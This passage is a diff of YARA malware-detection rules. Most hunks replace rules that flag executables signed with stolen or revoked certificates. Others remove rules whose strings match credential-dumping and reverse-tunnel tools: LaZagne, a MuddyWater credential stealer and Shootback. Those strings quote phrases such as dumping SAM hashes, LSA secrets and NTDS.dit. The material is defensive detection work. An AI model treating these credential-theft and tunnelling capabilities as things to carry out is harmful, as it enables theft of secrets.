-		logic_hash = "29015f6e11f2c93cc12e39cf50a1bda3bd4aa0bb7df0d7374223031361067495"
+		logic_hash = "e5978deb84a0c6cee9132f8806f239f33478462da31a423a04922c195cbd343a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "751a7e6c4dbe6e7ca633b91515c9f620bff6314ce09969a3af26d18945dc43b5"
-		reason = "Smoke Loader"
+		thumbprint = "e7241394097402bf9e32c87cada4ba5e0d1e9923f028683713c2f339f6f59fa9"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPSLTD PLYMOUTH LTD" and pe.signatures[i].serial=="db:95:b2:23:62:d4:6a:73:c3:9e:0a:c9:24:88:3c:5b")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Elite Web Development Ltd." and pe.signatures[i].serial=="6c:fa:50:50:c8:19:c4:ac:bb:8f:a7:59:79:68:8d:ff")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_D3Aee8Abb9948844A3Ac1C04Cc7E6Bdf : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B8164F7143E1A313003Ab0C834562F1F : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8b17b23f-3296-55b2-8e7b-40e13a14a610"
+		id = "d6ebdfb9-55db-58e2-89a8-d47d747e3432"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8791-L8804"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1465-L1476"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9af0b27e96575298a31b53f6f88cdb20934db75637abdd0acb40bb3c6921542c"
+		logic_hash = "77f8f125740de97e6fdd98103eefa2a431df0cbe2e7de44f7e863e22ebcfea4c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e386450257e170981513b7001a82fb029f0931e5c2f11c6d9b86660da0b89a66"
-		reason = "Quakbot"
+		thumbprint = "263c636c5de68f0cd2adf31b7aebc18a5e00fc47a5e2124e2a5613b9a0247c1e"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HOUSE 9A s.r.o" and pe.signatures[i].serial=="d3:ae:e8:ab:b9:94:88:44:a3:ac:1c:04:cc:7e:6b:df")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ekitai Data Inc." and pe.signatures[i].serial=="00:b8:16:4f:71:43:e1:a3:13:00:3a:b0:c8:34:56:2f:1f")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6000F8C02B0A15B1E53B8399845Faddf : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_E3C7Cc0950152E9Ceead4304D01F6C89 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "6d4224bd-1522-5b0f-b39e-1ba4ec0f1a63"
+		id = "8bea34fa-3620-5f5f-895f-3baa3b7b458a"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8806-L8819"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1478-L1489"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a8687b2aa02909af5fc7c706f31c419c4af48225abe7415bf262de57bb85258f"
+		logic_hash = "395ed4c9c8668f6416632f85883c5fd5b6038ce8388410f22bcbe2a9e6281c35"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6f18caa7cd75582d3a311dcc2dadec2ed32e15261c1dc5c9471e213d28367362"
-		reason = "Amadey"
+		thumbprint = "82975e3e21e8fd37bb723de6fdb6e18df9d0e55f0067cc77dd571a52025c6724"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAY LIMITED" and pe.signatures[i].serial=="60:00:f8:c0:2b:0a:15:b1:e5:3b:83:99:84:5f:ad:df")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DNS KOMPLEKT" and pe.signatures[i].serial=="e3:c7:cc:09:50:15:2e:9c:ee:ad:43:04:d0:1f:6c:89")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_F6Ad45188E5566Aa317Be23B4B8B2C2F : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6A241Ffe96A6349Df608D22C02942268 : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d4afb6ed-1cfd-5c49-8959-0cf136d0e9f0"
+		id = "571f5f11-576a-511b-975d-0643ae834502"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8821-L8834"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1491-L1502"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7afafea141727e2ed4c1975a18aa77b282c7d9ece5729dbd96cbb49cc2b393f1"
+		logic_hash = "41db1a9b11e2d5b8de5ba81496d0e76ea5eddacc01c77bc28c7e05496842df04"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ae7db8b64e8abd9d36876f049b9770d90c0868d7fe1a2d37cf327df69fa2dbfe"
-		reason = "Numando"
+		thumbprint = "f97f4b9953124091a5053712b2c22b845b587cb2655156dcafed202fa7ceeeb1"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gary Kramlich" and pe.signatures[i].serial=="f6:ad:45:18:8e:55:66:aa:31:7b:e2:3b:4b:8b:2c:2f")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HELP, d.o.o." and pe.signatures[i].serial=="6a:24:1f:fe:96:a6:34:9d:f6:08:d2:2c:02:94:22:68")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_74Fc9257Bc86F8C618501695Ad4B1606 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C04F5D17Af872Cb2C37E3367Fe761D0D : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c0ed5369-ca51-50b8-941a-580262b4f644"
+		id = "9d008f04-8d02-5c6b-b38d-234409cce277"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8836-L8849"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1504-L1518"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d6a9956d8bcc717186c205d07b94df1df4818bee58f98bdc128ec569331ab5e6"
+		logic_hash = "7fa0d16600ae89e41d7b2b0655b142ea36202e8bbbf5f8e25cbb45a005995e79"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8ebbb2ab8f2e1366d0137e5026e07fde229f45f39d043c7ad36091b8eb2a923e"
-		reason = "ParallaxRAT"
+		thumbprint = "7f52ece50576fcc7d66e028ecec89d3faedeeedb953935e215aac4215c9f4d63"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "169Teaco Limited" and pe.signatures[i].serial=="74:fc:92:57:bc:86:f8:c6:18:50:16:95:ad:4b:16:06")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DES SP Z O O" and (pe.signatures[i].serial=="00:c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d" or pe.signatures[i].serial=="c0:4f:5d:17:af:87:2c:b2:c3:7e:33:67:fe:76:1d:0d"))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3B0914E2982Be8980Aa23F49848555E5 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5C7E78F53C31D6Aa5B45De14B47Eb5C4 : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bda3e8b2-5d1b-5898-a4c3-318fc88506b8"
+		id = "e6bd4476-d287-54d9-82b3-d80f328d7831"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8851-L8864"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1520-L1531"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b1ced5176720e0a3bd475172a167675de8211987fbae11b93eab1fba6b3629f5"
+		logic_hash = "0c804e7f1e43a98b150a97adcbba882f7764000abdf7c7408e3361aefa9298b5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "254e59ea93fa5f2a6af44f9631660f7b6cca4b4c9f97046405bcfed5589a32fa"
-		reason = "ParallaxRAT"
+		thumbprint = "f91d436c1c7084b83007f032ef48fecda382ff8b81320212adb81e462976ad5a"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Office Rat s.r.o." and pe.signatures[i].serial=="3b:09:14:e2:98:2b:e8:98:0a:a2:3f:49:84:85:55:e5")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cubic Information Systems, UAB" and pe.signatures[i].serial=="5c:7e:78:f5:3c:31:d6:aa:5b:45:de:14:b4:7e:b5:c4")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_029Bf7E1Cb09Fe277564Bd27C267De5A : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7156Ec47Ef01Ab8359Ef4304E5Af1A05 : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "19d1012f-9a9e-5d84-885c-2571bfd1876c"
+		id = "f77ccdb6-77b6-5c47-bde6-2b1b449f9533"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8866-L8879"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1533-L1544"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a8c817dc99d55dcbea31334cc10b6a7ae3b5cf831e28cb2daf9d4b06fb4bec60"
+		logic_hash = "fc8073ebb9847d642f15cc74859b643afe00b3c331f68c06f3ff62c037225201"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2b18684a4b1348bf78f6d58d3397ee5ca80610d1c39b243c844e08f1c1e0b4bf"
-		reason = "Lazarus"
+		thumbprint = "59fe580974e2f813c2a00b4be01acd46c94fdea89a3049433cd5ba5a2d96666d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAMOYAJ LIMITED" and pe.signatures[i].serial=="02:9b:f7:e1:cb:09:fe:27:75:64:bd:27:c2:67:de:5a")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BOREC, OOO" and pe.signatures[i].serial=="71:56:ec:47:ef:01:ab:83:59:ef:43:04:e5:af:1a:05")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_984E84Cfe362E278F558E2C70Aaafac2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B2E730B0526F36Faf7D093D48D6D9997 : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3d071d42-b96a-5491-96f5-4605b6b5584e"
+		id = "7c74d3aa-dc4f-51ed-9574-74e0539cd22b"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8881-L8894"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1546-L1557"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a3a42c5b6ad094deb2a9f33789b6f7e52f76e65b2336372341f16389cef40f88"
+		logic_hash = "16c50b7a2b7b55662d5cdb2261a6b352657b2689a9328916fcf63ddfbef5d08f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0b2d1dad72c69644f80ad871743878b5eb1e45e451d0d2c9579bdf81384f8727"
-		reason = "Quakbot"
+		thumbprint = "10dd41eb9225b615e6e4f1dce6690bd2c8d055f07d4238db902f3263e62a04a9"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Arctic Nights Äkäslompolo Oy" and pe.signatures[i].serial=="98:4e:84:cf:e3:62:e2:78:f5:58:e2:c7:0a:aa:fa:c2")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bamboo Connect s.r.o." and pe.signatures[i].serial=="00:b2:e7:30:b0:52:6f:36:fa:f7:d0:93:d4:8d:6d:99:97")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_45245Eef53Fcf38169C715Cf68F44452 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2C90Eaf4De3Afc03Ba924C719435C2A3 : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3e92744d-1eb8-511a-b933-6dbe1e74fcfd"
+		id = "0b1ae208-bf81-55d0-b4e5-b1c1f7556387"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8896-L8909"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1559-L1570"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7667563aa02be9a85ba286bc16eb37380d5988b32f0ce27b1dbd9ae18b8b9175"
+		logic_hash = "792898b34ebe4dfc603b3f3b54777a86827a52fd3699a799e95c436317be77da"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ad7edb1b0a6a1ee3297a8825aff090030142dce8b59b9261bc57ca86666b0cbe"
-		reason = "QuakBot"
+		thumbprint = "6b916111ffbd6736afa569d7d940ada544daf3b18213a0da3025b20973a577dc"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PAPER AND CORE SUPPLIES LTD" and pe.signatures[i].serial=="45:24:5e:ef:53:fc:f3:81:69:c7:15:cf:68:f4:44:52")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AntiFIX s.r.o." and pe.signatures[i].serial=="2c:90:ea:f4:de:3a:fc:03:ba:92:4c:71:94:35:c2:a3")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0406C4A1521A38C8D0C4Aa214388E4Dc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Bdc81Bc76090Dae0Eee2E1Eb744A4F9A : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "108dd1b8-110a-5680-bd96-5517392300fa"
+		id = "9c91e39e-a120-537d-a24c-f0b8ffe9dd6e"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8911-L8924"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1572-L1583"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3db3a4f424d2974b746b8290a461f777eb88e0d8c6048e6e51e561c1f91b7747"
+		logic_hash = "90c695b0cffd4786471faca21b77161ae6e930540766c4f18796a7adea74b6f5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7d6dc731d94c9aaf241f3df940ce8ca8393380b12f92e872273ae747c5d4791f"
-		reason = "IcedID"
+		thumbprint = "a3b0a1cd3998688f294838758688f96adee7d5aa98ec43709b8868d6914e96c1"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Venezia Design SRL" and pe.signatures[i].serial=="04:06:c4:a1:52:1a:38:c8:d0:c4:aa:21:43:88:e4:dc")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALM4U GmbH" and pe.signatures[i].serial=="00:bd:c8:1b:c7:60:90:da:e0:ee:e2:e1:eb:74:4a:4f:9a")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5Ef27Fc51Ee80B30430947C9967Db440 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E38259Cf24Cc702Ce441B683Ad578911 : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "53f7b334-8feb-5581-a64c-5db6558a6434"
+		id = "79e00e92-4ddb-5f87-8f60-78f326674c66"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8926-L8939"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1585-L1596"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e282054102d852c0f66435148ce97050b15fb6f60f5d1bfc875b02de9c50c297"
+		logic_hash = "53d135553b88484e2c40976a9eaa0eb3f4f34c40ce775c198dfd6552155d1859"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c2dcc4a1ea16e45f86828e81eda20f83e70cbf77e152ddd80b1b4a730ef77551"
-		reason = "RedLineStealer"
+		thumbprint = "16304d4840d34a641f58fe7c94a7927e1ba4b3936638164525bedc5a406529f8"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="5e:f2:7f:c5:1e:e8:0b:30:43:09:47:c9:96:7d:b4:40")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Akhirah Technologies Inc." and pe.signatures[i].serial=="00:e3:82:59:cf:24:cc:70:2c:e4:41:b6:83:ad:57:89:11")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Lazagne : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4929Ab561C812Af93Ddb9758B545F546 : FILE
 {
 	meta:
-		description = "Detects LaZagne post-exploitation password stealing tool. It is typically embedded with malware in the binary resources."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "68bc50b0-a64f-50b6-bfbf-a26a4d0970ef"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "e57e442a-6fe3-5d09-bbc4-d290a7a80090"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L3-L20"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1598-L1609"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "af4427174c1026204dc9c71878c5125efdf190328840b65fe4a69277a16fe7d2"
+		logic_hash = "a03f37840b24456a4a2ef8e7c456dc99396886682156e4e95f7547bf38d8dc4d"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "blaZagne.exe.manifest" fullword ascii
-		$S2 = "opyi-windows-manifest-filename laZagne.exe.manifest" fullword ascii
-		$s3 = "lazagne.softwares.windows." ascii
-		$s4 = "lazagne.softwares.sysadmin." ascii
-		$s5 = "lazagne.softwares.php." ascii
-		$s6 = "lazagne.softwares.memory." ascii
-		$s7 = "lazagne.softwares.databases." ascii
-		$s8 = "lazagne.softwares.browsers." ascii
-		$s9 = "lazagne.config.write_output(" fullword ascii
-		$s10 = "lazagne.config." ascii
+		thumbprint = "0946bf998f8a463a1c167637537f3eba35205b748efc444a2e7f935dc8dd6dc7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Everything Wow s.r.o." and pe.signatures[i].serial=="49:29:ab:56:1c:81:2a:f9:3d:db:97:58:b5:45:f5:46")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Credstealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B649A966410F62999C939384Af553919 : FILE
 {
 	meta:
-		description = "Detects Python executable for stealing credentials including domain environments. Observed in MuddyWater."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ab587b12-f3e1-5f08-b27c-03ee9752e513"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "6b88b712-6d25-5152-80bf-562bf82f336c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L22-L41"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1611-L1622"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e729c8b0b1db642acabbc4590833c05ce81447bb89e5f40aea5f0b8ebdee4438"
+		logic_hash = "231b0aa0a1e7c72552d683cc4f93b39444f7c1ebb3bb719bee224aa62e9a28dd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "PYTHON27.DLL" fullword wide
-		$s2 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyR" fullword ascii
-		$s3 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyt" fullword ascii
-		$s4 = "subprocess.pyc" fullword ascii
-		$s5 = "MyGetProcAddress(%p, %p(%s)) -> %p" fullword ascii
-		$p1 = "Dump SAM hashes from target systemss" fullword ascii
-		$p2 = "Dump LSA secrets from target systemss" fullword ascii
-		$p3 = "Dump the NTDS.dit from target DCs using the specifed method" fullword ascii
-		$p4 = "Dump NTDS.dit password historys" fullword ascii
-		$p5 = "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameterss" fullword ascii
-		$p6 = "Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferencess" fullword ascii
-		$p7 = "Combo file containing a list of domain\\username:password or username:password entriess" fullword ascii
+		thumbprint = "a0c6cd25e1990c0d03b6ec1ad5a140f2c8014a8c2f1f4f227ee2597df91a8b6c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) and 1 of ($p*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "F.A.T. SARL" and pe.signatures[i].serial=="00:b6:49:a9:66:41:0f:62:99:9c:93:93:84:af:55:39:19")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_CNC_Shootback : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_22367Dbefd0A325C3893Af52547B14Fa : FILE
 {
 	meta:
-		description = "detects Python executable for CnC communication via reverse tunnels. Used by MuddyWater group."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "fb608115-6d9f-5640-88be-674e53b07126"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "301f126d-1ff6-5512-a38b-ca1dd7d67765"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L43-L62"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1624-L1635"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "996cabd4965164cb844cee1ab1e2894fc2b4fac14d4e660c456b494c5cbd0688"
+		logic_hash = "7b717a86ba0a6c3c8ba59c7b7c97dae802c351340ad67a9baf3f526b084e995a"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "PYTHON27.DLL" fullword wide
-		$s2 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyR" fullword ascii
-		$s3 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyt" fullword ascii
-		$s4 = "subprocess.pyc" fullword ascii
-		$s5 = "MyGetProcAddress(%p, %p(%s)) -> %p" fullword ascii
-		$p1 = "Slaver(this pc):" ascii
-		$p2 = "Master(another public server):" ascii
-		$p3 = "Master(this pc):" ascii
-		$p4 = "running as slaver, master addr: {} target: {}R/" fullword ascii
-		$p5 = "Customer(this pc): " ascii
-		$p6 = "Customer(any internet user):" ascii
-		$p7 = "the actual traffic is:  customer <--> master(1.2.3.4) <--> slaver(this pc) <--> ssh(this pc)" fullword ascii
+		thumbprint = "b5cb5b256e47a30504392c37991e4efc4ce838fde4ad8df47456d30b417e6d5c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) and 2 of ($p*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "F.lux Software LLC" and pe.signatures[i].serial=="22:36:7d:be:fd:0a:32:5c:38:93:af:52:54:7b:14:fa")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Fgdump : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E04A344B397F752A45B128A594A3D6B5 : FILE
 {
 	meta:
-		description = "detects all versions of the password dumping tool, fgdump. Observed to be used by DustSquad group."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
